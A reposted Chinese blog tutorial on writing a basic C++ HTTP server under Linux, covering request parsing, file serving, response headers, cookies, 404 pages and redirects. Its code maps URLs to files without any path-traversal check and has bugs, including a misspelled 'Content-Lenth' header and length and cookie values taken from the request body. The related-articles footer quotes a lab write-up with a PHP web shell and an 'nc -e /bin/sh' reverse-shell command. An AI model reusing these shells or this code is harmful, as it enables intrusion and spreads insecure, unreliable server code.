Linux网络-HttpServer的实现

news2024/11/27 1:41:08

文章目录

  • 前言
  • 一、请求报文的解析
    • URL的解析
  • 二、响应报文的发送
    • Content-Lenth
    • Conten-Type
    • Cookie和Set-Cookie
      • Cookie的风险
  • 三、尝试发送一个HTML网页
    • 404网页
    • Location 重定向
  • 四、浏览器的多次请求行为
  • 总结


前言

之前我们简单理解了一下Http协议,本章我们将在LInux下使用Socket编程自主完成一个HttpServer。 可以做到接收Http报文数据,加以解析再向远端发送Http报文数据。


之前写过很多遍的网络套接字编程代码就不再重复写了,这里直接写关于HttpServer的代码

一、请求报文的解析

上一章我们讲了,请求报文主要分为 请求行,请求报头,请求正文。
在这里插入图片描述
所以,我们就需要来解析我们收到的报文数据。

class HttpRequest
{
public:
    HttpRequest()
    {
    }

    bool Deserialize(std::string &request)
    {
        size_t pos = request.find(sep);
        if (pos == std::string::npos)
        {
            // 不完整报文
            lg(Warning, "Recv Incomplete Request...");
            return false;
        }
        _request_line = request.substr(0, pos);
        request.erase(0, pos + sep.size());

        std::string tmp;
        while (true)
        {
            pos = request.find(sep);
            if (pos == std::string::npos)
            {
                break;
            }
            tmp = request.substr(0, pos);
            if (tmp.empty())
            {
                // 说明已经截到空行
                break;
            }
            _request_header.push_back(tmp);
            request.erase(0, pos + sep.size());
        }
        request.erase(0, sep.size());
        _content = request;
        return true;
    }

    bool Parse()
    {
        std::string tmp = _request_line;
        int pos = tmp.find(blank);
        if (pos == std::string::npos)
        {
            // 解析的请求行存在问题
            return false;
        }
        _function = tmp.substr(0, pos);
        tmp.erase(0, pos + blank.size());

        pos = tmp.find(blank);
        if (pos == std::string::npos)
        {
            // 解析的请求行存在问题
            return false;
        }
        std::string url_tmp = tmp.substr(0, pos);
        if (url_tmp == "/")
        {
            _url = homepage;
        }
        else
        {
            _url = fileroot;
            _url += url_tmp;
        }

        tmp.erase(0, pos + blank.size());


        _http_version = tmp;
        return true;
    }


public:
    std::string _request_line;
    std::vector<std::string> _request_header;
    std::string _content;
    std::string _function;
    std::string _url;
    std::string _http_version;
	
	bool _isFound = true; //判断是否存在访问资源
};

上面通过的request成员函数,可以讲一份完整的报文全部解析下来。

URL的解析

上章我们讲过,URL的作用是为了找到该服务器上唯一的资源,那么我们就需要对URL再进行解释,才能正确找到想要请求的文件。

一般来讲我们的,我们在网址上的URL其实是在服务器的工作目录中的查找的,当然,如果你想访问其他目录的文件,只需要自己稍作解析即可,我们仅谈论大多数情况。
所以,为了可以更好的控制访问资源,我们就可以在服务器工作目录创建一个web根目录,将所有需要用到的其他资源分类放进去。
在这里插入图片描述
就比如说这里,我们创建了一个名为webroot的根目录。
在这里插入图片描述
再在服务器内部代码定义根目录路径,后续只需要直接在后面添加我们解析后的URL字符串就可以实现精准访问唯一一份资源了。

std::string ReadFileData(const std::string &filepath)
{
    std::ifstream in(filepath, std::ios::binary);
    if (!in.is_open())
    {
        // 文件打开失败,返回一个空串
        lg(Warning, "File Open Failed...");
        return "";
    }
    // 将文件流指针移动到文件结尾
    in.seekg(0, std::ios_base::end);
    auto len = in.tellg();
    // 重新将文件流指针移动到文件开头
    in.seekg(0, std::ios_base::beg);

    std::string content;
    content.resize(len);

    in.read((char *)content.c_str(), content.size());

    return content;
}

因为我们有时候会读取一个二进制文件,例如png,jpg格式的图片,所以我们这里采用二进制读取的方式打开文件。

最后返回的content就是文件的全部数据。

二、响应报文的发送

在上章我们也讲过相应报头是由 状态行,响应报头,正文组成。
在这里插入图片描述
所以,我们要遵循http协议,就必须要遵守http协议的响应报头发送格式来发送数据。

    std::string Encode(const std::string &content, const HttpRequest &hr)
    {
        std::string mes;
        if (hr._isFound)
        {
            mes += "HTTP/1.0 200 OK\r\n";
        }
        else
        {
            mes += "HTTP/1.0 404 NotFound\r\n";
        }
        mes += "Content-Lenth: ";
        mes += std::to_string(hr._content.size());
        mes += sep;

        mes += "Content-Type: ";
        mes += SuffixtoType(hr._suffix);
        mes += sep;

        mes += "Set-Cookie: ";
        mes += hr._content;
        mes += sep;

        mes += sep; // 空行

        mes += content;
        return mes;
    }

该Encode函数就帮我们格式化了一个还算完整的响应报文。

Content-Lenth

Content-Lenth 作为响应报头很重要的一部分,它标识了响应报文中正文的字符长度,浏览器也会去解析Content-Lenth来读取正文部分。

Conten-Type

Conten-Type 作为相应报头很重要的一部分,它标识了响应报文中正文数据是一个怎样的类型,是一个html格式的网页?是一个png格式的图片…

并且http协议对于不同后缀的文件都有一个标识字符串,如下例
在这里插入图片描述

Cookie和Set-Cookie

当我们的响应报头携带了Set-Cookie: xxxxxxxxxx 数据后,并被浏览器读取到了,浏览器就会生成一个Cookie文件,里面存放你的Cookie信息。以后你再去访问该域的网页,浏览器就会自动在请求报头携带上你的Cooke: xxxxxxxxxx。

这就是为什么我们在登录一些视频网站之后,只需要登陆一次,下次登录就不需要我再输入账号密码了。这就是因为浏览器保存了你的Cookie登录信息。

Cookie的风险

这种便利的功能也一般会带来风险,如果有黑客入侵你的计算机,获取了你的Cookie信息,将你的Cookie信息粘贴到黑客他自己的浏览器中,他就能以你的身份浏览网站。

为了降低风险,许多互联网公司采用的都是session ID的方式来作为Cookie内容保存,将你的私人信息保存到远端,这样即使黑客获取你的Cookie信息,也没办法获取到你的隐私信息。

虽然如今的互联网已经十分成熟,已经有了很多的安全策略,但是还是有可能通过非法获取你的Cookie信息来冒用你的身份。

降低此类情况的发生我们就需要做到:不随便点陌生网址并输入你的账号密码; 在不常用的计算机记得删除你的Cookie信息; 收到异常登录的邮件即使修改账号密码。

三、尝试发送一个HTML网页

通过URL,我们已经可以准确访问到服务器的一个资源,现在我们在这份资源上随便写一份简单的HTML代码

在这里插入图片描述
在这里,我们先打开我们的服务器,绑定好自己的端口号。
在这里插入图片描述
我上面那朵花的文件位于服务器的web根目录下的/html/first_page.html位置。
在这里插入图片描述
我们的浏览器是成功的获取到了/html/first_page.html的内容,也识别解析了html。


再从我们的抓包软件来看
在这里插入图片描述
我们可以看到浏览器收到的响应报文的正文正是我们的first_page.html原封不动的内容。

404网页

在这里插入图片描述
http的响应报文中的状态码是有规定的,像我们刚刚成功发送了一个完整的响应报文,我这里设置的状态码就是200 ,描述就是OK。

而对于我们经常看到的404,其实代表的就是没有找到你想要访问的那份资源,即你所访问的资源不存在。

这里我也是自己写一一个简单的404网页,大家可以来看看效果。
在这里插入图片描述
抓包到的响应报文
在这里插入图片描述

Location 重定向

Location在http协议当中是作为一个重定向的报头数据,后面携带上一个网址,即可直接重定向到另一个网址去。

不过需要注意的是,Location还必须配合状态码,需要状态码为3xx,我们这里采用临时重定向,所以就使用的302状态码。

在这里插入图片描述

那么我们是否会直接跳转到bilibili的主页去呢?
在这里插入图片描述
从结果来看我们是直接跳转到了b站的。

四、浏览器的多次请求行为

一般我们访问像百度,淘宝这些大网页,里面的内容是形形色色的,包含各种图片视频。 而对于现在的我们来看来,这些无非都是文件,是保存在服务器的web根目录下的文件。

那么,像这种大网站内容极其丰富,我们仅仅通过一次请求和响应可以将所有的资源全部获取吗?

答案肯定是不能的,因为图片是文件,视频是文件,html网页也是文件,而html语言作为前端网页开发语言,就可以与浏览器进行“联动”。

在这里插入图片描述
例如href标签可以让我们的网页进行跳转,跳转就需要再次对我们的服务器发起二次请求。

在这里插入图片描述
img标签可以添加图片,而浏览器识别到 src,也需要再次发起请求来获取图片。

在这里插入图片描述
在这里插入图片描述
最后对于favicon.ico的请求是网站图标的获取。
这里就可以看出,我访问一次带有图片的网页,它是给我们提交了不仅仅一次的请求的。


总结

本章学习了如何搭建一个建议的httpServer,并通过浏览器进行访问。

下一章我们将学习https协议。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1825906.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

00 - matlab m_map地学绘图工具安装及简单使用教程

00 - matlab m_map地学绘图工具安装及简单使用教程 0. 引言1. m_map工具的获取及配置过程2. 绘图示例3. 结语 0. 引言 m_map是MATLAB中的一个绘图工具包&#xff0c;用于绘制地图和地理数据。它提供了一系列函数&#xff0c;可以用来绘制地理投影、添加地理特征、绘制等值线图等…

wps-文档-js宏-批量修改表格格式

目录 前言开启JS宏我的脚本参考API文档 前言 由于需要修改word的表格的格式&#xff0c;一个一个的修改太慢了&#xff0c;所以需要通过宏的方式来修改&#xff0c;需要注意的是低版本可能没有JS宏… 开启JS宏 切换到工具–>点击开发工具 点击之后功能栏会变化成这样 选…

Fluent固体运动的设置方法(1)

1 概述 固体运动是某些CFD问题中必须要考虑的因素&#xff0c;如风扇的旋转。相关问题可分类如下&#xff1a; 问题类型是否为刚体运动规律是否已知无特定称呼YY六自由度运动问题YN流固耦合问题NN 在 Fluent 中&#xff0c;有多种方法表征固体运动&#xff0c;包括&#xff1…

js编程环境配置-vscode

1、安装Node.js 官网下载 选择适合你Windows系统架构&#xff08;32位或64位&#xff09;的安装包。windows系统选择“Windows Installer (.msi)”或“Windows Binary (.exe)”进行下载。 双击下载的.msi或.exe文件进行安装。 在cmd中输入node --version和npm --version&…

word中根据上级设置下级编号

如上级是3.13.4&#xff0c;如下图 现在想设置下级编码跟随上级逐级显示成3.13.4.1 则在标题功能说明这点击顶部菜单栏的编号按钮&#xff0c;如下图 然后&#xff0c;选择自定义编号-自定义列表-自定义按钮 然后重点是编号格式这一栏&#xff0c;需要手动填写下前三级的编号&…

统计信号处理基础 习题解答10-16

题目&#xff1a; 对于例10.1&#xff0c;证明由观察数据得到的信息是&#xff1a; 解答&#xff1a; 基于习题10-15的结论&#xff0c;&#xff0c;那么&#xff1a; 而根据习题10-15的结论&#xff1a; 此条件概率也是高斯分布&#xff0c;即&#xff1a; 根据相同的计算&a…

Hexo 搭建个人博客(ubuntu20.04)

1 安装 Nodejs 和 npm 首先登录NodeSource官网&#xff1a; Nodesource Node.js DEB 按照提示安装最新的 Node.js 及其配套版本的 npm。 &#xff08;1&#xff09;以 sudo 用户身份运行下面的命令&#xff0c;下载并执行 NodeSource 安装脚本&#xff1a; sudo curl -fsSL…

训练营第三十六天| 337.打家劫舍 III121. 买卖股票的最佳时机

337.打家劫舍 III 力扣题目链接(opens new window) 在上次打劫完一条街道之后和一圈房屋后&#xff0c;小偷又发现了一个新的可行窃的地区。这个地区只有一个入口&#xff0c;我们称之为“根”。 除了“根”之外&#xff0c;每栋房子有且只有一个“父“房子与之相连。一番侦察…

设计模式- 责任链模式Chain of Responsibility(行为型)

责任链模式(Chain of Responsibility) 责任链模式是一种行为模式&#xff0c;它为请求创建一个接收者对象的链&#xff0c;解耦了请求的发送者和接收者。责任链模式将多个处理器串联起来形成一条处理请求的链。 图解 角色 抽象处理者&#xff1a; 一个处理请求的接口&#xf…

Portraiture 2024软件怎么下载安装? 【详细安装图文教程】

简介&#xff1a; Portraiture是一款智能磨皮的滤镜插件&#xff0c;该插件能够给Photoshop和Lightroom添加智能磨皮美化功能&#xff0c;可以帮助用户快速对图片中的人物的皮肤、头发、眉毛等部位进行美化&#xff0c;省去了手动调整的麻烦&#xff0c;大大提高P图的效率。 安…

基于System-Verilog的FPGA设计与仿真

一、System-Verilog System Verilog的发展 SystemVerilog 的出现是为了因应日益复杂的数位电路设计和验证需求。虽然Verilog HDL 在早期的数位电路设计中得到了广泛应用&#xff0c;但随着技术的发展和电路复杂度的增加&#xff0c;Verilog HDL 在某些方面已经显得有些不足以满…

Cocos2d-x 4.0 工程首次建立与编译(Mac m1)

Mac m1芯片下将cocos2d-x升级至4.0版本后&#xff0c;官方剔除了不同平台的工程以及变更了编译方式&#xff0c;直接使用cmake构建&#xff0c;需要做一些前置的准备工作。 环境准备&#xff1a; 项 版本 备注 MacOS10.3 or laterpython2.7.16(建议>2.7.10)cmake3.29.3Do…

LangGraph实战:从零分阶打造人工智能航空客服助手

❝ 通过本指南&#xff0c;你将学习构建一个专为航空公司设计的客服助手&#xff0c;它将协助用户查询旅行信息并规划行程。在此过程中&#xff0c;你将掌握如何利用LangGraph的中断机制、检查点技术以及更为复杂的状态管理功能&#xff0c;来优化你的助手工具&#xff0c;同时…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

在 Windows 环境下安装mysql步骤(MySQL)

文章目录 一、下载 MySQL二、解压安装包到磁盘三、配置环境&#xff08;管理员权限&#xff09;四、安装 MySQL&#xff08;管理员权限&#xff09; 一、下载 MySQL 如下图&#xff1a;为你的电脑下载对应操作系统的 MySQL 安装包 二、解压安装包到磁盘 三、配置环境&#x…

SD3开源:AI绘画的新纪元,出图效果巨好,不容错过!(附教程)

大家好&#xff0c;我是画画的小强。 这两天&#xff0c;Stability AI 将史上最牛的AI绘画模型SD3开源了&#xff0c;真是有格局&#xff01; 虽说只是中杯的20亿参数版本&#xff0c;但我已经很满足了&#xff0c;再高的版本&#xff0c;我这普通的16G 4070Ti Super 显卡也跑…

【数据结构】第十六弹---C语言实现希尔排序

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】 目录 1、希尔排序( 缩小增量排序 ) 1.1、预排序实现 1.2、希尔排序代码实现 1.3、代码测试 1.4、时空复杂度分析 1.5、性能比较 总结 上一弹我们…

基于mybatis plus增加较复杂自定义查询以及分页

基于java技术&#xff0c;spring-boot和mybatis-plus搭建后台框架是现在非常流行的技术。 其中关于多表关联查询的实现相对比较复杂&#xff0c;在这里进行记录以供开发人员参考。 以一个系统中实际的实体类为查询为例&#xff0c; T3dMaterial实体其中的fileType属性及字段…

C#批量设置海康和大华录像机NVR,GB28181的通道编码.

我经常要把小区海康或者大华的硬盘录像机推送到自己搭建的gb28181监控平台,每次几百个摄像头编码,有点头大,就用了1个多周写了个批量设置海康和大华硬盘录像机的通道编码的程序,海康和大华的SDK简直不是人看的. 太乱了. 大华读取通道编码的代码 /// <summary>/// 获取通道…

找我设计官网的不多了,看到漂亮大气的,还是忍不住分享出来。

现在有客户找我做官网设计&#xff0c;我说&#xff1a;要么搞个高大上个性化定制的&#xff0c;要么就选个模板得了&#xff0c;几千元的网站不上不下&#xff0c;不如不做。 分享一批高大上的网站给老铁们看看。